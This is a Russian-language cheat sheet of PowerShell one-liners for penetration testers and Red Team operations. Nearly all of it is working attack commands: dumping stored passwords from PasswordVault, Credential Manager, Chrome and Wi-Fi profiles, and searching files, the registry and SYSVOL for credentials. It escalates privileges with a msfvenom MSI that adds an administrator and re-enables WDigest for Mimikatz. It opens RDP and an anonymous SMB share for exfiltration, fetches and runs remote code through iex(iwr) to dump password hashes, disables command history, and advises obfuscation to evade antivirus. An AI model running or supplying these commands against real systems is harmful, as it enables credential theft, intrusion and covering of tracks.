Команды PowerShell для пентестеров
Этичный ХакерСтатья содержит список PowerShell команд, собранных из разных уголков Интернета, которые могут быть полезны во время тестов на проникновение или операций Red Team.
Список включает в себя различные пост-эксплуатационные однострочные программы в чистой PowerShell, не требующие каких-либо оскорбительных
(потенциально помеченных как вредоносные) сторонних модулей, а также набор удобных административных команд.
Давайте приступим к делу!
Содержание
Поиск файлов с конфиденциальной информацией
- Ищем потенциально интересные файлы
- Ищем учетные данные в файлах Sysprep или Unattend
- Ищем файлы конфигурации, содержащие строку «пароль»
- Ищем учетные данные базы данных в файлах конфигурации
- Ищем файлы конфигурации веб-сервера
- Получаем сохраненные пароли из Windows PasswordVault
- Получаем сохраненные пароли из диспетчера учетных данных Windows
- Дамп паролей из браузера Google Chrome
- Получаем сохраненные пароли Wi-Fi из профилей беспроводной сети
- Поиск строки сообщества SNMP в реестре
- Поиск шаблона строки в реестре
- Поиск в реестре учетных данных для автоматического входа
- Проверить, включен ли AlwaysInstallElevated
- Найти неквотируемые пути служб (Unquoted Service Paths)
- Проверить кеширование LSASS WDigest
- Учетные данные в SYSVOL и настройки групповой политики (GPP)
- Установить MAC-адрес из командной строки
- Разрешить подключения к удаленному рабочему столу
- Обнаружение хоста с помощью массового обратного просмотра DNS
- Сканирование портов хоста на предмет интересных портов
- Сканирование портов в сети на наличие одного порта (сканирование портов)
- Создать гостевой общий диск SMB
- Внести IP-адрес в белый список в брандмауэре Windows
- Бесфайловая загрузка и выполнение
- Получить SID текущего пользователя
- Проверить, работаем ли мы с повышенными привилегиями (от администратора)
- Отключить ведение журнала команд PowerShell
- Список установленных антивирусных (AV) продуктов
Поиск файлов с конфиденциальной информацией
Следующие команды PowerShell могут быть полезны на этапе после эксплуатации для поиска файлов на диске, которые могут содержать учетные данные, сведения о конфигурации и другую конфиденциальную информацию.
Ищем потенциально интересные файлы
С помощью этой команды мы можем идентифицировать файлы с потенциально конфиденциальными данными, такими как информация об учетной записи, учетные данные, файлы конфигураций и т.д., на основе их имени файла:
gci c:\ -Include *pass*.txt,*pass*.xml,*pass*.ini,*pass*.xlsx,*cred*,*vnc*,*.config*,*accounts* -File -Recurse -EA SilentlyContinue
Хотя это может вызвать много шума, это также может дать очень интересные результаты.
Рекомендуется сделать это для каждого диска, но вы также можете просто запустить его в папке c:\users для некоторых быстрых результатов.
Ищем учетные данные в файлах Sysprep или Unattend
Эта команда будет искать остатки автоматических установок и автоконфигураций, которые потенциально могут содержать пароли в открытом виде или пароли в кодировке base64:
gci c:\ -Include *sysprep.inf,*sysprep.xml,*sysprep.txt,*unattended.xml,*unattend.xml,*unattend.txt -File -Recurse -EA SilentlyContinue
Это один из хорошо известных методов повышения привилегий, так как обычно используется пароль локального администратора.
Рекомендуется сделать это для каждого диска.
Ищем файлы конфигурации, содержащие строку «пароль»
С помощью этой команды мы можем найти файлы, содержащие определенный шаблон, например, здесь мы ищем шаблон «пароль» в различных текстовых файлах конфигурации:
gci c:\ -Include *.txt,*.xml,*.config,*.conf,*.cfg,*.ini -File -Recurse -EA SilentlyContinue | Select-String -Pattern "password"
Хотя это может создавать много шума, это также может дать некоторые интересные результаты.
Рекомендуется сделать это для каждого диска.
Ищем учетные данные базы данных в файлах конфигурации
Используя следующую команду PowerShell, мы можем найти строки подключения к базе данных (с учетными данными в виде обычного текста), хранящиеся в различных файлах конфигурации, таких как web.config для конфигурации ASP.NET, в файлах проекта Visual Studio и т.д.:
gci c:\ -Include *.config,*.conf,*.xml -File -Recurse -EA SilentlyContinue | Select-String -Pattern "connectionString"
Поиск строк подключения, например, для удаленного Microsoft SQL Server, может привести к удаленному выполнению команд (RCE) с использованием функций xp_cmdshell ( ссылка , ссылка , ссылка и т.д.) И последующему боковому перемещению.
Ищем файлы конфигурации веб-сервера
С помощью этой команды мы можем легко найти файлы конфигурации, принадлежащие установке Microsoft IIS, XAMPP, Apache, PHP или MySQL:
gci c:\ -Include web.config,applicationHost.config,php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -EA SilentlyContinue
Эти файлы могут содержать пароли в виде простого текста или другую интересную информацию, которая может позволить получить доступ к другим ресурсам, таким как базы данных, административные интерфейсы и т.д.
Извлечение учетных данных
Следующие команды PowerShell также подпадают под категорию пост-эксплуатации и могут быть полезны для извлечения учетных данных после получения доступа к системе Windows.
Получаем сохраненные пароли из Windows PasswordVault
Используя следующую команду PowerShell, мы можем извлекать секреты из Windows PasswordVault , который представляет собой встроенный механизм Windows для хранения паролей и учетных данных в Интернете, например, для Internet Explorer, Edge и других приложений:
[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];(New-Object Windows.Security.Credentials.PasswordVault).RetrieveAll() | % { $_.RetrievePassword();$_ }
Обратите внимание, что хранилище обычно хранится в следующих местах, и получить секреты можно только в контексте текущего зарегистрированного пользователя:
- C:\Users\<ИМЯ ПОЛЬЗОВАТЕЛЯ>\AppData\Local\Microsoft\Vault\
- C:\Windows\system32\config\systemprofile\AppData\Local\ Microsoft\Vault\
- C:\ProgramData\Microsoft\Vault\
Получаем сохраненные пароли из диспетчера учетных данных Windows
Диспетчер учетных данных Windows предоставляет еще один механизм хранения учетных данных для входа на веб-сайты, входа в удаленные системы и различные приложения, а также обеспечивает безопасный способ использования учетных данных в сценариях PowerShell.
С помощью следующего однострочника мы можем получить все сохраненные учетные данные из диспетчера учетных данных с помощью модуля CredentialManager PowerShell:
Get-StoredCredential | % { write-host -NoNewLine $_.username; write-host -NoNewLine ":" ; $p = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($_.password) ; [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($p); }
Как и в случае с PasswordVault, учетные данные хранятся в отдельных местах профиля пользователя, и только текущий зарегистрированный пользователь может их расшифровать:
- C:\Users\<ИМЯ ПОЛЬЗОВАТЕЛЯ>\AppData\Local\Microsoft\Credentials\
- C:\Users\<ИМЯ ПОЛЬЗОВАТЕЛЯ>\AppData\Roaming\Microsoft\Credentials\
- C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\
Дамп паролей из браузера Google Chrome
Следующая команда извлекает сохраненные учетные данные из браузера Google Chrome, если он установлен и если есть сохраненные пароли:
[System.Text.Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($datarow.password_value,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))
Точно так же это должно выполняться в контексте целевого пользователя (жертвы).
Получаем сохраненные пароли Wi-Fi из профилей беспроводной сети
С помощью этой команды мы можем извлечь все сохраненные пароли Wi-Fi (WEP, WPA PSK, WPA2 PSK и т. Д.) Из беспроводных профилей, настроенных в системе Windows:
(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize
Обратите внимание, что у нас должны быть права администратора, чтобы это работало.
Поиск строки сообщества SNMP в реестре
Следующая команда извлечет строку сообщества SNMP, хранящуюся в реестре, если таковая имеется:
gci HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse -EA SilentlyContinue
Поиск строки сообщества SNMP не является критической проблемой, но может быть полезен для:
- Понимания, какие шаблоны паролей используются системными администраторами в организации.
- Выполнения атаки с распылением паролей (при условии, что пароли могут быть повторно использованы в другом месте)
Поиск шаблона строки в реестре
Следующая команда PowerShell будет перебирать выбранные ветки реестра (HKCR, HKCU, HKLM, HKU и HKCC) и рекурсивно искать любой выбранный шаблон в именах разделов реестра или значениях данных. В этом случае мы ищем шаблон «пароль»:
$pattern = "password" $hives = "HKEY_CLASSES_ROOT","HKEY_CURRENT_USER","HKEY_LOCAL_MACHINE","HKEY_USERS","HKEY_CURRENT_CONFIG" # Search in registry keys foreach ($r in $hives) { gci "registry::${r}\" -rec -ea SilentlyContinue | sls "$pattern" } # Search in registry values foreach ($r in $hives) { gci "registry::${r}\" -rec -ea SilentlyContinue | % { if((gp $_.PsPath -ea SilentlyContinue) -match "$pattern") { $_.PsPath; $_ | out-string -stream | sls "$pattern" }}}
Хотя это может занять много времени и вызвать много шума, он обязательно обнаружит все вхождения выбранного шаблона в реестре.
Повышение привилегий
В следующих разделах содержатся команды PowerShell, полезные для случаев, когда у нас есть доступ только для пользователей с низким уровнем привилегий, и мы хотим повысить наши привилегии до локального администратора.
Поиск в реестре учетных данных для автоматического входа
Системы Windows можно настроить на автоматический вход в систему при загрузке, что, например, используется в системах POS (торговых точек). Обычно это настраивается путем сохранения имени пользователя и пароля в определенном месте реестра Winlogon в виде открытого текста.
Следующая команда получит учетные данные для автоматического входа из реестра:
gp 'HKLM:\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon' | select "Default*"
Проверить, включен ли AlwaysInstallElevated
Если для следующих разделов реестра AlwaysInstallElevated установлено значение 1, это означает, что любой пользователь с низкими привилегиями может устанавливать файлы *.msi с привилегиями NT AUTHORITY \ SYSTEM. Вот как это проверить с помощью PowerShell:
gp 'HKCU:\Software\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated gp 'HKLM:\Software\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated
Обратите внимание, что оба ключа реестра должны быть установлены в 1, чтобы это работало.
Пакет установщика MSI можно легко создать с помощью утилиты msfvenom из Metasploit Framework . Например, мы можем добавить себя в группу администраторов:
msfvenom -p windows/exec CMD='net localgroup administrators joe /add' -f msi > pkg.msi
Найти неквотируемые пути служб (Unquoted Service Paths)
Следующая команда PowerShell выводит службы, путь к исполняемому файлу которых не заключен в кавычки («):
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
Это может привести к повышению привилегий, если путь к исполняемому файлу также содержит пробелы и у нас есть разрешения на запись в любую из папок в пути.
Более подробную информацию об этой технике, включая шаги по эксплуатации, можно найти здесь или здесь .
Проверить кеширование LSASS WDigest
Используя следующую команду, мы можем проверить, включено ли кэширование учетных данных WDigest в системе или нет. Эти настройки определяют, сможем ли мы использовать Mimikatz для извлечения учетных данных в виде открытого текста из памяти процесса LSASS.
(gp registry::HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest).UseLogonCredential
- Если установлено значение 0, то кеширование отключено (система защищена)
- Если он не существует или установлен в 1, то кеширование включено.
Обратите внимание, что если он отключен, мы все равно можем включить его с помощью следующей команды, но после этого нам также придется перезапустить систему:
sp registry::HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest -name UseLogonCredential -value 1
Учетные данные в SYSVOL и настройки групповой политики (GPP)
В корпоративных средах Windows Active Directory учетные данные иногда можно найти в групповых политиках, в различных настраиваемых сценариях или файлах конфигурации на контроллерах домена в общих сетевых папках SYSVOL.
Поскольку общие сетевые ресурсы SYSVOL доступны любому аутентифицированному пользователю домена, мы можем легко определить, есть ли какие-либо сохраненные учетные данные, используя следующую команду:
Push-Location \\example.com\sysvol gci * -Include *.xml,*.txt,*.bat,*.ps1,*.psm,*.psd -Recurse -EA SilentlyContinue | select-string password Pop-Location
Типичным примером является MS14-025 с атрибутом cPassword в файлах GPP XML. Атрибут «cpassword» может быть мгновенно расшифрован в виде открытого текста, например, с помощью утилиты gpp-decrypt в Kali Linux.
Команды, связанные с сетью
Вот несколько сетевых команд PowerShell, которые могут быть полезны, в частности, во время тестов на проникновение во внутреннюю сеть и подобных упражнений.
Установить MAC-адрес из командной строки
Иногда может быть полезно установить MAC-адрес в сетевом интерфейсе, и с помощью PowerShell мы можем легко сделать это без использования сторонних утилит:
Set-NetAdapter -Name "Ethernet0" -MacAddress "00-01-18-57-1B-0D"
Это может быть полезно, например, когда мы тестируем обход NAC (network access control) и другие вещи.
Разрешить подключения к удаленному рабочему столу
Это трио команд может быть полезно, когда мы хотим подключиться к системе с использованием графического сеанса RDP, но по какой-то причине он не включен:
# Allow RDP connections (Get-WmiObject -Class "Win32_TerminalServiceSetting" -Namespace root\cimv2\terminalservices).SetAllowTsConnections(1) # Disable NLA (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0) # Allow RDP on the firewall Get-NetFirewallRule -DisplayGroup "Remote Desktop" | Set-NetFirewallRule -Enabled True
Теперь порт tcp/3389 должен быть открыт, и мы сможем подключиться без проблем, например, с помощью инструментов xfreerdp или rdesktop из Kali Linux.
Обнаружение хоста с помощью массового обратного просмотра DNS
Используя эту команду, мы можем выполнить быстрый обратный поиск DNS в подсети 10.10.1.0/24 и посмотреть, есть ли какие-либо разрешенный (потенциально активные) хосты:
$net = "10.10.1." 0..255 | foreach {$r=(Resolve-DNSname -ErrorAction SilentlyContinue $net$_ | ft NameHost -HideTableHeaders | Out-String).trim().replace("\s+","").replace("`r","").replace("`n"," "); Write-Output "$net$_ $r"} | tee ip_hostname.txt
Затем результаты будут сохранены в файле ip_hostname.txt в текущем рабочем каталоге.
Иногда это может быть быстрее и более скрытно, чем pingsweep или аналогичные методы.
Сканирование портов хоста на предмет интересных портов
Вот как быстро просканировать указанный IP-адрес (10.10.15.232) на предмет выбранных 39 интересных портов:
$ports = "21 22 23 25 53 80 88 111 139 389 443 445 873 1099 1433 1521 1723 2049 2100 2121 3299 3306 3389 3632 4369 5038 5060 5432 5555 5900 5985 6000 6379 6667 8000 8080 8443 9200 27017" $ip = "10.10.15.232" $ports.split(" ") | % {echo ((new-object Net.Sockets.TcpClient).Connect($ip,$_)) "Port $_ is open on $ip"} 2>$null
Это даст нам быструю ситуационную осведомленность о конкретном хосте в сети, используя только чистый PowerShell:
Сканирование портов в сети на наличие одного порта (сканирование портов)
Это может быть полезно, например, для быстрого обнаружения интерфейсов SSH (порт tcp/22) в указанной подсети класса C (10.10.0.0/24):
$port = 22 $net = "10.10.0." 0..255 | foreach { echo ((new-object Net.Sockets.TcpClient).Connect($net+$_,$port)) "Port $port is open on $net$_"} 2>$null
Если вы пытаетесь идентифицировать только системы Windows, просто измените порт на 445.
Создать гостевой общий диск SMB
Вот классный трюк, позволяющий быстро запустить общий сетевой диск SMB (CIFS), доступный любому:
new-item "c:\users\public\share" -itemtype directory New-SmbShare -Name "sharedir" -Path "C:\users\public\share" -FullAccess "Everyone","Guests","Anonymous Logon"
Чтобы потом остановить его, выполните:
Remove-SmbShare -Name "sharedir" -Force
Это может пригодиться для передачи файлов, эксфильтрации и т. Д.
Внести IP-адрес в белый список в брандмауэре Windows
Вот полезная команда для внесения IP-адреса в белый список брандмауэра Windows:
New-NetFirewallRule -Action Allow -DisplayName "pentest" -RemoteAddress 10.10.15.123
Теперь мы имеем возможность подключаться к этому хосту с нашего IP-адреса (10.10.15.123) на каждом порту.
После того, как мы закончили с нашими делами, удалите правило:
Remove-NetFirewallRule -DisplayName "pentest"
Другие полезные команды
Следующие команды могут быть полезны для выполнения различных административных задач, для сбора информации о системе или использования дополнительных функций PowerShell, которые могут быть полезны во время пентеста.
Бесфайловая загрузка и выполнение
Используя эту крошечную команду PowerShell, мы можем легко загрузить и выполнить произвольный код PowerShell, размещенный удаленно - либо на нашем собственном компьютере, либо в Интернете:
iex(iwr("https://URL"))
- iwr = Invoke-WebRequest
- iex = Invoke-Expression
Удаленный контент будет загружен и загружен, не касаясь диска (без файлов). Теперь мы можем просто запустить его.
Мы можем использовать это для любого из популярных наступательных модулей, например:
- https://github.com/samratashok/nishang
- https://github.com/PowerShellMafia/PowerSploit
- https://github.com/FuzzySecurity/PowerShell-Suite
- https://github.com/EmpireProject/Empire (модули здесь )
Вот пример сброса локальных хэшей паролей (hashdump) с использованием модуля nishang Get-PassHashes:
iex(iwr("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1"));Get-PassHashes
Очень просто, но учтите, что это, вероятно, будет замечено любым приличным AV или EDR.
Что вы можете сделать в подобных случаях, так это обфусцировать модули, которые вы хотите использовать, и разместить их где-нибудь самостоятельно.
Получить SID текущего пользователя
Следующая команда вернет значение SID текущего пользователя:
([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.Value
Проверить, работаем ли мы с повышенными привилегиями (от администратора)
Вот краткое описание того, запускаем ли мы сеанс PowerShell с повышенными привилегиями с правами администратора:
If (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { echo "yes"; } else { echo "no"; }
Отключить ведение журнала команд PowerShell
По умолчанию PowerShell автоматически регистрирует до 4096 команд в файле истории, аналогично тому, как это делает Bash в Linux.
Файл истории PowerShell - это простой текстовый файл, расположенный в профиле каждого пользователя в следующем месте:
- C:\Users\<ИМЯ ПОЛЬЗОВАТЕЛЯ>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
С помощью следующих команд мы можем отключить функцию ведения журнала команд PowerShell в текущем сеансе оболочки:
Set-PSReadlineOption –HistorySaveStyle SaveNothing
или
Remove-Module PSReadline
Это может быть полезно при проведении операций Red Team, если мы хотим минимизировать влияние на систему.
С этого момента никакие команды не будут записываться в файл истории PowerShell. Обратите внимание, однако, что приведенные выше команды по-прежнему будут отображаться в файле истории, поэтому имейте в виду, что это не полностью скрытно.
Список установленных антивирусных (AV) продуктов
Вот простая команда PowerShell для запроса центра безопасности и определения всех установленных антивирусных продуктов на этом компьютере:
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct
Расшифровывая значение productState, мы можем определить, какая антивирусная программа включена в данный момент (если их несколько), актуальны ли подписи и даже какие функции антивируса и механизмы сканирования включены (например, защита в реальном времени, антишпионское ПО, автообновление и т. д.).
Однако это довольно специфичная тема, у которой нет простого решения. Вот несколько ссылок по теме:
- https://mspscripts.com/get-installed-antivirus-information-2/
- https://jdhitsolutions.com/blog/powershell/5187/get-antivirus-product-status-with-powershell/
- https://stackoverflow.com/questions/4700897/wmi-security-center-productstate-clarification/4711211
- https://docs.microsoft.com/en-us/windows/win32/api/iwscapi/ne-iwscapi-wsc_security_product_state
- https://social.msdn.microsoft.com/Forums/pt-BR/6501b87e-dda4-4838-93c3-244daa355d7c/wmisecuritycenter2-productstate
Вывод
Надеюсь, вы найдете этот сборник полезным во время пентестов. На этом у меня все. Благодарю за просмотр!